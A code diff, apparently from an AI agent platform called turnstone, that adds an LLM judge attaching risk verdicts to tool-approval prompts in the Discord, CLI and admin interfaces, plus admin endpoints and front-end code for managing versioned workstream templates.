+                    "confidence": event.confidence,
+                    "intent_summary": event.intent_summary,
+                    "tier": event.tier,
+                }
+                name = event.func_name or "tool"
+                # Update embed color based on LLM judge risk level.
+                risk = (event.risk_level or "medium").upper()
+                color_map = {
+                    "LOW": discord.Color.green(),
+                    "MEDIUM": discord.Color.orange(),
+                    "HIGH": discord.Color.red(),
+                    "CRITICAL": discord.Color.dark_red(),
+                }
+                embed.color = color_map.get(risk, discord.Color.orange())
+                embed.add_field(
+                    name=f"Judge Verdict: {name}",
+                    value=format_verdict(verdict_data),
+                    inline=False,
+                )
+                try:
+                    await approval_msg.edit(embed=embed)
+                except Exception:
+                    log.debug("discord.verdict_embed_edit_failed", ws_id=ws_id)
+
         elif isinstance(event, TurnCompleteEvent):
             sm = self._streaming.pop(ws_id, None)
             if sm is not None:
                 await sm.finalize()
+            # Clean up pending approval message tracking.
+            self._pending_approval_msgs.pop(ws_id, None)
 
         elif isinstance(event, WorkstreamResumedEvent):
             name = event.name or "previous workstream"

turnstone/cli.py

@@ -19,6 +19,7 @@ from turnstone.core.workstream import Workstream, WorkstreamManager, WorkstreamS
 from turnstone.ui.colors import (
     BOLD,
     DIM,
+    GREEN,
     RED,
     RESET,
     YELLOW,
@@ -32,6 +33,14 @@ from turnstone.ui.colors import (
 from turnstone.ui.markdown import MarkdownRenderer
 from turnstone.ui.spinner import Spinner
 
+# ANSI colors for intent verdict risk levels
+_VERDICT_COLORS: dict[str, str] = {
+    "low": GREEN,
+    "medium": YELLOW,
+    "high": RED,
+    "critical": f"{BOLD}{RED}",
+}
+
 if TYPE_CHECKING:
     from collections.abc import Callable
 
@@ -125,7 +134,7 @@ class TerminalUI(SessionUI):
         pending = [it for it in items if it.get("needs_approval") and not it.get("error")]
 
         with self._print_lock:
-            # Print all headers and previews
+            # Print all headers, previews, and heuristic verdicts
             for item in items:
                 if item.get("error"):
                     sys.stdout.write(f"  {red(item['header'])}\n")
@@ -133,6 +142,18 @@ class TerminalUI(SessionUI):
                     sys.stdout.write(f"  {yellow(item['header'])}\n")
                 if item.get("preview"):
                     sys.stdout.write(item["preview"] + "\n")
+                verdict = item.get("_heuristic_verdict")
+                if verdict:
+                    risk = verdict.get("risk_level", "medium")
+                    rec = verdict.get("recommendation", "review")
+                    conf = int(verdict.get("confidence", 0.5) * 100)
+                    summary = verdict.get("intent_summary", "")
+                    color = _VERDICT_COLORS.get(risk, "")
+                    sys.stdout.write(
+                        f"  {color}RISK: {risk} (confidence: {conf}%) \u2014 {rec}{RESET}\n"
+                    )
+                    if summary:
+                        sys.stdout.write(f"  Intent: {summary}\n")
             sys.stdout.flush()
 
             if not pending or self.auto_approve:
@@ -224,6 +245,21 @@ class TerminalUI(SessionUI):
     def on_state_change(self, state: str) -> None:
         pass  # base TerminalUI ignores state changes
 
+    def on_intent_verdict(self, verdict: dict[str, Any]) -> None:
+        """Display LLM judge verdict — called from daemon thread while approval is pending."""
+        risk = verdict.get("risk_level", "medium")
+        rec = verdict.get("recommendation", "review")
+        summary = verdict.get("intent_summary", "")
+        conf = int(verdict.get("confidence", 0.5) * 100)
+        tier = verdict.get("tier", "llm")
+
+        color = _VERDICT_COLORS.get(risk, "")
+        print(
+            f"\n  {color}\u25b8 {tier.upper()} VERDICT: {risk.upper()} ({conf}%) \u2014 {rec}{RESET}"
+        )
+        if summary:
+            print(f"    {summary}")
+
     def on_rename(self, name: str) -> None:
         pass  # base TerminalUI ignores renames
 
@@ -857,9 +893,52 @@ def main() -> None:
         metavar="SECONDS",
         help="Periodic MCP tool refresh interval for servers without push notifications (default: 14400 = 4h, 0 to disable)",
     )
+    judge_group = parser.add_argument_group("Judge options")
+    judge_group.add_argument(
+        "--judge",
+        dest="judge_enabled",
+        action="store_true",
+        default=True,
+        help="Enable intent validation judge for tool approvals (default)",
+    )
+    judge_group.add_argument(
+        "--no-judge",
+        dest="judge_enabled",
+        action="store_false",
+        help="Disable intent validation judge",
+    )
+    judge_group.add_argument(
+        "--judge-model",
+        dest="judge_model",
+        default="",
+        help="Model for judge (default: same as session model)",
+    )
+    judge_group.add_argument(
+        "--judge-provider",
+        dest="judge_provider",
+        default="",
+        help="Provider for judge (default: same as session provider)",
+    )
+    judge_group.add_argument(
+        "--judge-timeout",
+        dest="judge_timeout",
+        type=float,
+        default=60.0,
+        help="LLM judge timeout in seconds (default: 60)",
+    )
+    judge_group.add_argument(
+        "--judge-confidence",
+        dest="judge_confidence",
+        type=float,
+        default=0.7,
+        help="Confidence threshold for judge (default: 0.7)",
+    )
     from turnstone.core.config import apply_config
 
-    apply_config(parser, ["api", "model", "session", "tools", "console", "auth", "mcp", "database"])
+    apply_config(
+        parser,
+        ["api", "model", "session", "tools", "console", "auth", "mcp", "database", "judge"],
+    )
     args = parser.parse_args()
 
     from turnstone.core.log import configure_logging

turnstone/console/scheduler.py

@@ -209,6 +209,7 @@ class TaskScheduler:
             auto_approve_tools=self._parse_tools(task),
             user_id=task.get("created_by", ""),
             template=task.get("template", ""),
+            ws_template=task.get("ws_template", ""),
         )
         self._broker.push_inbound(msg.to_json(), node_id=node_id)
 
@@ -235,6 +236,7 @@ class TaskScheduler:
             auto_approve_tools=self._parse_tools(task),
             user_id=task.get("created_by", ""),
             template=task.get("template", ""),
+            ws_template=task.get("ws_template", ""),
         )
         self._broker.push_inbound(msg.to_json())
 

turnstone/console/server.py

@@ -350,6 +350,7 @@ async def create_workstream(request: Request) -> JSONResponse:
     raw_model = body.get("model", "")
     raw_initial_message = body.get("initial_message", "")
     raw_template = body.get("template", "")
+    raw_ws_template = body.get("ws_template", "")
     if not isinstance(raw_node_id, str):
         raw_node_id = "" if raw_node_id is None else None
     if not isinstance(raw_name, str):
@@ -360,15 +361,20 @@ async def create_workstream(request: Request) -> JSONResponse:
         raw_initial_message = "" if raw_initial_message is None else None
     if not isinstance(raw_template, str):
         raw_template = "" if raw_template is None else None
+    if not isinstance(raw_ws_template, str):
+        raw_ws_template = "" if raw_ws_template is None else None
     if (
         raw_node_id is None
         or raw_name is None
         or raw_model is None
         or raw_initial_message is None
         or raw_template is None
+        or raw_ws_template is None
     ):
         return JSONResponse(
-            {"error": "node_id, name, model, initial_message, and template must be strings"},
+            {
+                "error": "node_id, name, model, initial_message, template, and ws_template must be strings"
+            },
             status_code=400,
         )
     node_id = raw_node_id
@@ -376,13 +382,18 @@ async def create_workstream(request: Request) -> JSONResponse:
     model = raw_model[:128]
     initial_message = raw_initial_message[:4096]
     template = raw_template[:256]
+    ws_template = raw_ws_template[:256]
 
     from turnstone.mq.protocol import CreateWorkstreamMessage
 
     # General pool — push to shared queue, any bridge picks it up
     if node_id == "pool":
         msg = CreateWorkstreamMessage(
-            name=name, model=model, initial_message=initial_message, template=template
+            name=name,
+            model=model,
+            initial_message=initial_message,
+            template=template,
+            ws_template=ws_template,
         )
         broker.push_inbound(msg.to_json())
         log.debug("Pool dispatch: correlation_id=%s name=%r", msg.correlation_id, name)
@@ -411,6 +422,7 @@ async def create_workstream(request: Request) -> JSONResponse:
         target_node=node_id,
         initial_message=initial_message,
         template=template,
+        ws_template=ws_template,
     )
     broker.push_inbound(msg.to_json(), node_id=node_id)
 
@@ -1145,6 +1157,7 @@ async def admin_create_schedule(request: Request) -> JSONResponse:
     raw_tools = body.get("auto_approve_tools", [])
     auto_approve_tools = raw_tools if isinstance(raw_tools, list) else []
     template = str(body.get("template", "")).strip()[:256]
+    ws_template = str(body.get("ws_template", "")).strip()[:256]
     enabled = bool(body.get("enabled", True))
 
     if not name:
@@ -1153,6 +1166,10 @@ async def admin_create_schedule(request: Request) -> JSONResponse:
         return JSONResponse({"error": "initial_message is required"}, status_code=400)
     if template and not storage.get_prompt_template_by_name(template):
         return JSONResponse({"error": f"Template not found: {template}"}, status_code=400)
+    if ws_template and not storage.get_ws_template_by_name(ws_template):
+        return JSONResponse(
+            {"error": f"Workstream template not found: {ws_template}"}, status_code=400
+        )
 
     validation_err = _validate_schedule_fields(schedule_type, cron_expr, at_time)
     if validation_err:
@@ -1188,6 +1205,7 @@ async def admin_create_schedule(request: Request) -> JSONResponse:
         created_by=created_by,
         next_run=next_run if enabled else "",
         template=template,
+        ws_template=ws_template,
     )
 
     if not enabled:
@@ -1267,6 +1285,13 @@ async def admin_update_schedule(request: Request) -> JSONResponse:
         if tpl_name and not storage.get_prompt_template_by_name(tpl_name):
             return JSONResponse({"error": f"Template not found: {tpl_name}"}, status_code=400)
         updates["template"] = tpl_name
+    if "ws_template" in body:
+        ws_tpl_name = str(body["ws_template"]).strip()[:256]
+        if ws_tpl_name and not storage.get_ws_template_by_name(ws_tpl_name):
+            return JSONResponse(
+                {"error": f"Workstream template not found: {ws_tpl_name}"}, status_code=400
+            )
+        updates["ws_template"] = ws_tpl_name
     if "enabled" in body:
         updates["enabled"] = bool(body["enabled"])
 
@@ -1440,6 +1465,13 @@ async def admin_cancel_watch(request: Request) -> Response:
 # ---------------------------------------------------------------------------
 
 
+def _hash_content(content: str) -> str:
+    """SHA-256 hash of content for drift detection."""
+    import hashlib
+
+    return hashlib.sha256(content.encode()).hexdigest()
+
+
 def _audit_context(request: Request) -> tuple[str, str]:
     """Extract (user_id, ip_address) from request for audit logging.
 
@@ -1477,6 +1509,8 @@ _VALID_PERMISSIONS = frozenset(
         "admin.usage",
         "admin.schedules",
         "admin.watches",
+        "admin.ws_templates",
+        "admin.judge",
         "tools.approve",
         "workstreams.create",
         "workstreams.close",
@@ -2174,6 +2208,275 @@ async def admin_delete_template(request: Request) -> JSONResponse:
     return JSONResponse({"status": "ok"})
 
 
+# ---------------------------------------------------------------------------
+# Admin: Workstream Templates
+# ---------------------------------------------------------------------------
+
+
+async def admin_list_ws_templates(request: Request) -> JSONResponse:
+    """GET /v1/api/admin/ws-templates — list all workstream templates."""
+    from turnstone.core.auth import require_permission
+    from turnstone.core.web_helpers import require_storage_or_503
+
+    storage, err = require_storage_or_503(request)
+    if err:
+        return err
+    err = require_permission(request, "admin.ws_templates")
+    if err:
+        return err
+    return JSONResponse({"ws_templates": storage.list_ws_templates()})
+
+
+async def admin_create_ws_template(request: Request) -> JSONResponse:
+    """POST /v1/api/admin/ws-templates — create a workstream template."""
+    import uuid
+
+    from turnstone.core.audit import record_audit
+    from turnstone.core.auth import require_permission
+    from turnstone.core.web_helpers import read_json_or_400, require_storage_or_503
+
+    storage, err = require_storage_or_503(request)
+    if err:
+        return err
+    err = require_permission(request, "admin.ws_templates")
+    if err:
+        return err
+    body = await read_json_or_400(request)
+    if isinstance(body, JSONResponse):
+        return body
+
+    name = str(body.get("name", "")).strip()[:256]
+    if not name:
+        return JSONResponse({"error": "name is required"}, status_code=400)
+    if storage.get_ws_template_by_name(name) is not None:
+        return JSONResponse({"error": "Name already exists"}, status_code=409)
+
+    prompt_template_ref = str(body.get("prompt_template", ""))[:256]
+    prompt_template_hash = ""
+    if prompt_template_ref:
+        pt = storage.get_prompt_template_by_name(prompt_template_ref)
+        if not pt:
+            return JSONResponse(
+                {"error": f"Prompt template not found: {prompt_template_ref}"}, status_code=400
+            )
+        prompt_template_hash = _hash_content(pt.get("content", ""))
+
+    try:
+        temperature = float(body["temperature"]) if body.get("temperature") is not None else None
+        max_tokens = int(body["max_tokens"]) if body.get("max_tokens") is not None else None
+        token_budget = int(body.get("token_budget", 0))
+        agent_max_turns = (
+            int(body["agent_max_turns"]) if body.get("agent_max_turns") is not None else None
+        )
+    except (ValueError, TypeError) as exc:
+        return JSONResponse({"error": f"Invalid numeric field: {exc}"}, status_code=400)
+
+    ws_template_id = uuid.uuid4().hex
+    storage.create_ws_template(
+        ws_template_id=ws_template_id,
+        name=name,
+        description=str(body.get("description", ""))[:1024],
+        system_prompt=str(body.get("system_prompt", ""))[:32768],
+        prompt_template=prompt_template_ref,
+        prompt_template_hash=prompt_template_hash,
+        model=str(body.get("model", ""))[:128],
+        auto_approve=bool(body.get("auto_approve", False)),
+        auto_approve_tools=str(body.get("auto_approve_tools", ""))[:2048],
+        temperature=temperature,
+        reasoning_effort=str(body.get("reasoning_effort", ""))[:32],
+        max_tokens=max_tokens,
+        token_budget=token_budget,
+        agent_max_turns=agent_max_turns,
+        notify_on_complete=str(body.get("notify_on_complete", "{}"))[:4096],
+        org_id=str(body.get("org_id", ""))[:128],
+        created_by=getattr(getattr(request.state, "auth_result", None), "user_id", ""),
+        enabled=bool(body.get("enabled", True)),
+    )
+
+    audit_uid, ip = _audit_context(request)
+    record_audit(
+        storage,
+        audit_uid,
+        "ws_template.create",
+        "ws_template",
+        ws_template_id,
+        {"name": name},
+        ip,
+    )
+
+    tpl = storage.get_ws_template(ws_template_id)
+    return JSONResponse(tpl)
+
+
+async def admin_get_ws_template(request: Request) -> JSONResponse:
+    """GET /v1/api/admin/ws-templates/{ws_template_id} — get a single workstream template."""
+    from turnstone.core.auth import require_permission
+    from turnstone.core.web_helpers import require_storage_or_503
+
+    storage, err = require_storage_or_503(request)
+    if err:
+        return err
+    err = require_permission(request, "admin.ws_templates")
+    if err:
+        return err
+    ws_template_id = request.path_params["ws_template_id"]
+    tpl = storage.get_ws_template(ws_template_id)
+    if not tpl:
+        return JSONResponse({"error": "Not found"}, status_code=404)
+    return JSONResponse(tpl)
+
+
+async def admin_update_ws_template(request: Request) -> JSONResponse:
+    """PUT /v1/api/admin/ws-templates/{ws_template_id} — update a workstream template."""
+    from turnstone.core.audit import record_audit
+    from turnstone.core.auth import require_permission
+    from turnstone.core.web_helpers import read_json_or_400, require_storage_or_503
+
+    storage, err = require_storage_or_503(request)
+    if err:
+        return err
+    err = require_permission(request, "admin.ws_templates")
+    if err:
+        return err
+    ws_template_id = request.path_params["ws_template_id"]
+    existing = storage.get_ws_template(ws_template_id)
+    if not existing:
+        return JSONResponse({"error": "Not found"}, status_code=404)
+
+    body = await read_json_or_400(request)
+    if isinstance(body, JSONResponse):
+        return body
+
+    updates: dict[str, Any] = {}
+    if "name" in body:
+        new_name = str(body["name"]).strip()[:256]
+        if new_name != existing["name"] and storage.get_ws_template_by_name(new_name) is not None:
+            return JSONResponse({"error": "Name already exists"}, status_code=409)
+        updates["name"] = new_name
+    if "description" in body:
+        updates["description"] = str(body["description"])[:1024]
+    if "system_prompt" in body:
+        updates["system_prompt"] = str(body["system_prompt"])[:32768]
+    if "prompt_template" in body:
+        pt_ref = str(body["prompt_template"])[:256]
+        pt_obj = storage.get_prompt_template_by_name(pt_ref) if pt_ref else None
+        if pt_ref and not pt_obj:
+            return JSONResponse({"error": f"Prompt template not found: {pt_ref}"}, status_code=400)
+        updates["prompt_template"] = pt_ref
+        updates["prompt_template_hash"] = _hash_content(pt_obj.get("content", "")) if pt_obj else ""
+    if "model" in body:
+        updates["model"] = str(body["model"])[:128]
+    if "auto_approve" in body:
+        updates["auto_approve"] = bool(body["auto_approve"])
+    if "auto_approve_tools" in body:
+        updates["auto_approve_tools"] = str(body["auto_approve_tools"])[:2048]
+    try:
+        if "temperature" in body:
+            updates["temperature"] = (
+                float(body["temperature"]) if body["temperature"] is not None else None
+            )
+        if "max_tokens" in body:
+            updates["max_tokens"] = (
+                int(body["max_tokens"]) if body["max_tokens"] is not None else None
+            )
+        if "token_budget" in body:
+            updates["token_budget"] = int(body["token_budget"])
+        if "agent_max_turns" in body:
+            updates["agent_max_turns"] = (
+                int(body["agent_max_turns"]) if body["agent_max_turns"] is not None else None
+            )
+    except (ValueError, TypeError) as exc:
+        return JSONResponse({"error": f"Invalid numeric field: {exc}"}, status_code=400)
+    if "reasoning_effort" in body:
+        updates["reasoning_effort"] = str(body["reasoning_effort"])[:32]
+    if "notify_on_complete" in body:
+        updates["notify_on_complete"] = str(body["notify_on_complete"])[:4096]
+    if "enabled" in body:
+        updates["enabled"] = bool(body["enabled"])
+
+    changed_by = getattr(getattr(request.state, "auth_result", None), "user_id", "")
+    storage.update_ws_template(ws_template_id, changed_by=changed_by, **updates)
+
+    audit_uid, ip = _audit_context(request)
+    record_audit(
+        storage,
+        audit_uid,
+        "ws_template.update",
+        "ws_template",
+        ws_template_id,
+        updates,
+        ip,
+    )
+
+    tpl = storage.get_ws_template(ws_template_id)
+    return JSONResponse(tpl)
+
+
+async def admin_delete_ws_template(request: Request) -> JSONResponse:
+    """DELETE /v1/api/admin/ws-templates/{ws_template_id} — delete a workstream template."""
+    from turnstone.core.audit import record_audit
+    from turnstone.core.auth import require_permission
+    from turnstone.core.web_helpers import require_storage_or_503
+
+    storage, err = require_storage_or_503(request)
+    if err:
+        return err
+    err = require_permission(request, "admin.ws_templates")
+    if err:
+        return err
+    ws_template_id = request.path_params["ws_template_id"]
+    existing = storage.get_ws_template(ws_template_id)
+    if not existing:
+        return JSONResponse({"error": "Not found"}, status_code=404)
+
+    storage.delete_ws_template(ws_template_id)
+
+    audit_uid, ip = _audit_context(request)
+    record_audit(
+        storage,
+        audit_uid,
+        "ws_template.delete",
+        "ws_template",
+        ws_template_id,
+        {"name": existing["name"]},
+        ip,
+    )
+    return JSONResponse({"status": "ok"})
+
+
+async def admin_list_ws_template_versions(request: Request) -> JSONResponse:
+    """GET /v1/api/admin/ws-templates/{ws_template_id}/versions — version history."""
+    from turnstone.core.auth import require_permission
+    from turnstone.core.web_helpers import require_storage_or_503
+
+    storage, err = require_storage_or_503(request)
+    if err:
+        return err
+    err = require_permission(request, "admin.ws_templates")
+    if err:
+        return err
+    ws_template_id = request.path_params["ws_template_id"]
+    if not storage.get_ws_template(ws_template_id):
+        return JSONResponse({"error": "Not found"}, status_code=404)
+    versions = storage.list_ws_template_versions(ws_template_id)
+    return JSONResponse({"versions": versions})
+
+
+async def list_ws_templates_summary(request: Request) -> JSONResponse:
+    """GET /v1/api/ws-templates — enabled workstream templates summary."""
+    from turnstone.core.web_helpers import require_storage_or_503
+
+    storage, err = require_storage_or_503(request)
+    if err:
+        return err
+    templates = storage.list_ws_templates(enabled_only=True)
+    summary = [
+        {"name": t["name"], "description": t.get("description", ""), "model": t.get("model", "")}
+        for t in templates
+    ]
+    return JSONResponse({"ws_templates": summary})
+
+
 async def admin_usage(request: Request) -> JSONResponse:
     """GET /v1/api/admin/usage — query usage data."""
     from datetime import UTC, datetime, timedelta
@@ -2260,6 +2563,50 @@ async def admin_audit(request: Request) -> JSONResponse:
     return JSONResponse({"events": events, "total": total})
 
 
+async def admin_list_verdicts(request: Request) -> JSONResponse:
+    """GET /v1/api/admin/verdicts — list intent verdicts."""
+    from turnstone.core.auth import require_permission
+    from turnstone.core.web_helpers import require_storage_or_503
+
+    storage, err = require_storage_or_503(request)
+    if err:
+        return err
+    err = require_permission(request, "admin.judge")
+    if err:
+        return err
+
+    params = dict(request.query_params)
+    ws_id = params.get("ws_id", "")
+    since = params.get("since", "")
+    until = params.get("until", "")
+    risk_level = params.get("risk_level", "")
+    try:
+        limit = min(int(params.get("limit", "100")), 500)
+    except (ValueError, TypeError):
+        limit = 100
+    try:
+        offset = max(int(params.get("offset", "0")), 0)
+    except (ValueError, TypeError):
+        offset = 0
+
+    verdicts = storage.list_intent_verdicts(
+        ws_id=ws_id,
+        since=since,
+        until=until,
+        risk_level=risk_level,
+        limit=limit,
+        offset=offset,
+    )
+
+    total = storage.count_intent_verdicts(
+        ws_id=ws_id,
+        since=since,
+        until=until,
+        risk_level=risk_level,
+    )
+    return JSONResponse({"verdicts": verdicts, "total": total})
+
+
 # ---------------------------------------------------------------------------
 # App factory
 # ---------------------------------------------------------------------------
@@ -2294,6 +2641,7 @@ def create_app(
                     Route("/api/cluster/node/{node_id}", cluster_node_detail),
                     Route("/api/cluster/snapshot", cluster_snapshot),
                     Route("/api/cluster/events", cluster_events_sse),
+                    Route("/api/ws-templates", list_ws_templates_summary),
                     Route("/api/auth/login", auth_login, methods=["POST"]),
                     Route("/api/auth/logout", auth_logout, methods=["POST"]),
                     Route("/api/auth/status", auth_status),
@@ -2382,9 +2730,29 @@ def create_app(
                         admin_delete_template,
                         methods=["DELETE"],
                     ),
+                    # Governance: Workstream templates
+                    Route("/api/admin/ws-templates", admin_list_ws_templates),
+                    Route("/api/admin/ws-templates", admin_create_ws_template, methods=["POST"]),
+                    Route("/api/admin/ws-templates/{ws_template_id}", admin_get_ws_template),
+                    Route(
+                        "/api/admin/ws-templates/{ws_template_id}",
+                        admin_update_ws_template,
+                        methods=["PUT"],
+                    ),
+                    Route(
+                        "/api/admin/ws-templates/{ws_template_id}",
+                        admin_delete_ws_template,
+                        methods=["DELETE"],
+                    ),
+                    Route(
+                        "/api/admin/ws-templates/{ws_template_id}/versions",
+                        admin_list_ws_template_versions,
+                    ),
                     # Governance: Usage & Audit
                     Route("/api/admin/usage", admin_usage),
                     Route("/api/admin/audit", admin_audit),
+                    # Governance: Intent Verdicts
+                    Route("/api/admin/verdicts", admin_list_verdicts),
                 ],
             ),
             Route("/health", health),

turnstone/console/static/admin.js

@@ -41,6 +41,7 @@ function showAdmin() {
     roles: "admin.roles",
     policies: "admin.policies",
     templates: "admin.templates",
+    "ws-templates": "admin.ws_templates",
     usage: "admin.usage",
     audit: "admin.audit",
   };
@@ -101,6 +102,7 @@ function switchAdminTab(tab) {
     "roles",
     "policies",
     "templates",
+    "ws-templates",
     "usage",
     "audit",
   ];
@@ -117,6 +119,7 @@ function switchAdminTab(tab) {
   if (tab === "roles") loadGovRoles();
   if (tab === "policies") loadGovPolicies();
   if (tab === "templates") loadGovTemplates();
+  if (tab === "ws-templates") loadGovWsTemplates();
   if (tab === "usage") loadGovUsage();
   if (tab === "audit") {
     _populateAuditUserFilter();
@@ -465,6 +468,28 @@ var _srTrapHandler = null;
 var _editScheduleTriggerEl = null;
 var _runsScheduleTriggerEl = null;
 
+function _populateWsTemplateSelect(selectId) {
+  var sel = document.getElementById(selectId);
+  sel.innerHTML = '<option value="">None</option>';
+  return authFetch("/v1/api/ws-templates")
+    .then(function (r) {
+      return r.json();
+    })
+    .then(function (data) {
+      (data.ws_templates || []).forEach(function (t) {
+        var opt = document.createElement("option");
+        opt.value = t.name;
+        var label = t.name;
+        if (t.model) label += " (" + t.model + ")";
+        opt.textContent = label;
+        sel.appendChild(opt);
+      });
+    })
+    .catch(function () {
+      /* ignore — dropdown stays with "None" */
+    });
+}
+
 function loadAdminSchedules() {
   authFetch("/v1/api/admin/schedules")
     .then(function (r) {
@@ -662,6 +687,7 @@ function showCreateScheduleModal() {
   document.getElementById("cs-node").value = "";
   document.getElementById("cs-model").value = "";
   document.getElementById("cs-template").value = "";
+  _populateWsTemplateSelect("cs-ws-template");
   document.getElementById("cs-message").value = "";
   document.getElementById("cs-autoapprove").checked = false;
   toggleScheduleTypeFields();
@@ -695,6 +721,7 @@ function submitCreateSchedule() {
   var model = (document.getElementById("cs-model").value || "").trim();
   var message = (document.getElementById("cs-message").value || "").trim();
   var template = (document.getElementById("cs-template").value || "").trim();
+  var wsTemplate = document.getElementById("cs-ws-template").value;
   var autoApprove = document.getElementById("cs-autoapprove").checked;
   var errEl = document.getElementById("create-schedule-error");
 
@@ -732,6 +759,7 @@ function submitCreateSchedule() {
       initial_message: message,
       auto_approve: autoApprove,
       template: template,
+      ws_template: wsTemplate,
     }),
   })
     .then(function (r) {
@@ -799,6 +827,10 @@ function showEditScheduleModal(taskId) {
         : "";
       document.getElementById("es-model").value = s.model || "";
       document.getElementById("es-template").value = s.template || "";
+      var _wsTemplateVal = s.ws_template || "";
+      _populateWsTemplateSelect("es-ws-template").then(function () {
+        document.getElementById("es-ws-template").value = _wsTemplateVal;
+      });
       document.getElementById("es-message").value = s.initial_message || "";
       document.getElementById("es-autoapprove").checked = !!s.auto_approve;
       document.getElementById("es-enabled").checked = !!s.enabled;
@@ -872,6 +904,7 @@ function submitEditSchedule() {
       target_mode: targetMode,
       model: (document.getElementById("es-model").value || "").trim(),
       template: (document.getElementById("es-template").value || "").trim(),
+      ws_template: document.getElementById("es-ws-template").value,
       initial_message: (
         document.getElementById("es-message").value || ""
       ).trim(),
@@ -1450,6 +1483,10 @@ function _installTrap(overlayId, boxId, trapRef) {
         else if (overlayId === "create-template-overlay")
           hideCreateTemplateModal();
         else if (overlayId === "edit-template-overlay") hideEditTemplateModal();
+        else if (overlayId === "create-wst-overlay")
+          hideCreateWsTemplateModal();
+        else if (overlayId === "edit-wst-overlay") hideEditWsTemplateModal();
+        else if (overlayId === "wst-history-overlay") hideWstHistoryModal();
       }
     };
   }
@@ -1525,6 +1562,9 @@ document.addEventListener("keydown", function (e) {
     ["edit-policy-overlay", hideEditPolicyModal],
     ["create-template-overlay", hideCreateTemplateModal],
     ["edit-template-overlay", hideEditTemplateModal],
+    ["create-wst-overlay", hideCreateWsTemplateModal],
+    ["edit-wst-overlay", hideEditWsTemplateModal],
+    ["wst-history-overlay", hideWstHistoryModal],
   ];
   for (var gi = 0; gi < govOverlays.length; gi++) {
     var govEl = document.getElementById(govOverlays[gi][0]);

turnstone/console/static/app.js

@@ -1261,6 +1261,26 @@ function showNewWsModal() {
     .catch(function () {
       /* ignore — defaults still work */
     });
+  // Populate profile (WS template) dropdown
+  var profSelect = document.getElementById("new-ws-profile");
+  profSelect.innerHTML = '<option value="">None</option>';
+  authFetch("/v1/api/ws-templates")
+    .then(function (r) {
+      return r.json();
+    })
+    .then(function (data) {
+      (data.ws_templates || []).forEach(function (t) {
+        var opt = document.createElement("option");
+        opt.value = t.name;
+        var label = t.name;
+        if (t.model) label += " (" + t.model + ")";
+        opt.textContent = label;
+        profSelect.appendChild(opt);
+      });
+    })
+    .catch(function () {
+      /* ignore — profiles optional */
+    });
   document.getElementById("new-ws-name").value = "";
   document.getElementById("new-ws-model").value = "";
   document.getElementById("new-ws-task").value = "";
@@ -1330,6 +1350,8 @@ function submitNewWs() {
   if (model) body.model = model;
   if (task) body.initial_message = task;
   if (template) body.template = template;
+  var profile = document.getElementById("new-ws-profile").value;
+  if (profile) body.ws_template = profile;
 
   authFetch("/v1/api/cluster/workstreams/new", {
     method: "POST",

turnstone/console/static/governance.js

@@ -6,6 +6,7 @@
 var _govRoles = [];
 var _govPolicies = [];
 var _govTemplates = [];
+var _govWsTemplates = [];
 var _govUsageRange = "7d";
 var _govUsageGroupBy = "day";
 var _govAuditEvents = [];
@@ -20,6 +21,8 @@ var _cpTrapHandler = null; // create policy
 var _epTrapHandler = null; // edit policy
 var _ctmTrapHandler = null; // create template
 var _etmTrapHandler = null; // edit template
+var _cwstTrapHandler = null; // create ws template
+var _ewstTrapHandler = null; // edit ws template
 
 // Trigger element refs for focus restoration
 var _crTriggerEl = null;
@@ -29,6 +32,8 @@ var _cpTriggerEl = null;
 var _epTriggerEl = null;
 var _ctmTriggerEl = null;
 var _etmTriggerEl = null;
+var _cwstTriggerEl = null;
+var _ewstTriggerEl = null;
 
 // ---------------------------------------------------------------------------
 // Roles
@@ -928,6 +933,445 @@ function submitEditTemplate() {
     });
 }
 
+// ---------------------------------------------------------------------------
+// WS Templates
+// ---------------------------------------------------------------------------
+
+function loadGovWsTemplates() {
+  authFetch("/v1/api/admin/ws-templates")
+    .then(function (r) {
+      if (!r.ok) throw new Error("Failed");
+      return r.json();
+    })
+    .then(function (data) {
+      _govWsTemplates = data.ws_templates || [];
+      _renderGovWsTemplates(_govWsTemplates);
+    })
+    .catch(function () {
+      document.getElementById("admin-ws-templates-table").innerHTML =
+        '<div class="dashboard-empty">Failed to load WS templates</div>';
+    });
+}
+
+function _renderGovWsTemplates(items) {
+  var el = document.getElementById("admin-ws-templates-table");
+  if (!items.length) {
+    el.innerHTML =
+      '<div class="dashboard-empty">No workstream templates defined</div>';
+    return;
+  }
+  var html = "";
+  for (var i = 0; i < items.length; i++) {
+    var t = items[i];
+    var modelBadge = t.model
+      ? '<span class="scope-badge">' + escapeHtml(t.model) + "</span>"
+      : '<span class="scope-badge">default</span>';
+    var approveBadge = t.auto_approve
+      ? '<span class="scope-badge scope-approve">auto</span>'
+      : "";
+    var budgetBadge =
+      t.token_budget > 0
+        ? '<span class="scope-badge scope-deny">' +
+          t.token_budget.toLocaleString() +
+          "</span>"
+        : "";
+    var enabledBadge = !t.enabled
+      ? ' <span class="scope-badge scope-deny">disabled</span>'
+      : "";
+    html +=
+      '<div class="admin-row" role="listitem">' +
+      '<span class="admin-col admin-col-tmname">' +
+      escapeHtml(t.name) +
+      enabledBadge +
+      "</span>" +
+      '<span class="admin-col admin-col-tmcat">' +
+      modelBadge +
+      "</span>" +
+      '<span class="admin-col admin-col-tmvars">' +
+      approveBadge +
+      " " +
+      budgetBadge +
+      "</span>" +
+      '<span class="admin-col admin-col-actions">' +
+      "v" +
+      t.version +
+      " " +
+      '<button class="admin-btn-action" data-history-wst="' +
+      escapeHtml(t.ws_template_id) +
+      '">history</button> ' +
+      '<button class="admin-btn-action" data-edit-wst="' +
+      escapeHtml(t.ws_template_id) +
+      '">edit</button>' +
+      '<button class="admin-btn-danger" data-delete-wst="' +
+      escapeHtml(t.ws_template_id) +
+      '" data-wst-name="' +
+      escapeHtml(t.name) +
+      '">delete</button>' +
+      "</span></div>";
+  }
+  el.innerHTML = html;
+  el.querySelectorAll("[data-edit-wst]").forEach(function (btn) {
+    btn.addEventListener("click", function () {
+      showEditWsTemplateModal(this.getAttribute("data-edit-wst"));
+    });
+  });
+  el.querySelectorAll("[data-delete-wst]").forEach(function (btn) {
+    btn.addEventListener("click", function () {
+      var tid = this.getAttribute("data-delete-wst");
+      var tname = this.getAttribute("data-wst-name");
+      showConfirmModal(
+        "Delete WS Template",
+        'Delete workstream template "' + tname + '"?',
+        "Delete",
+        function () {
+          authFetch("/v1/api/admin/ws-templates/" + tid, {
+            method: "DELETE",
+          })
+            .then(function (r) {
+              if (!r.ok) throw new Error();
+              return r.json();
+            })
+            .then(function () {
+              showToast("WS template deleted");
+              loadGovWsTemplates();
+            })
+            .catch(function () {
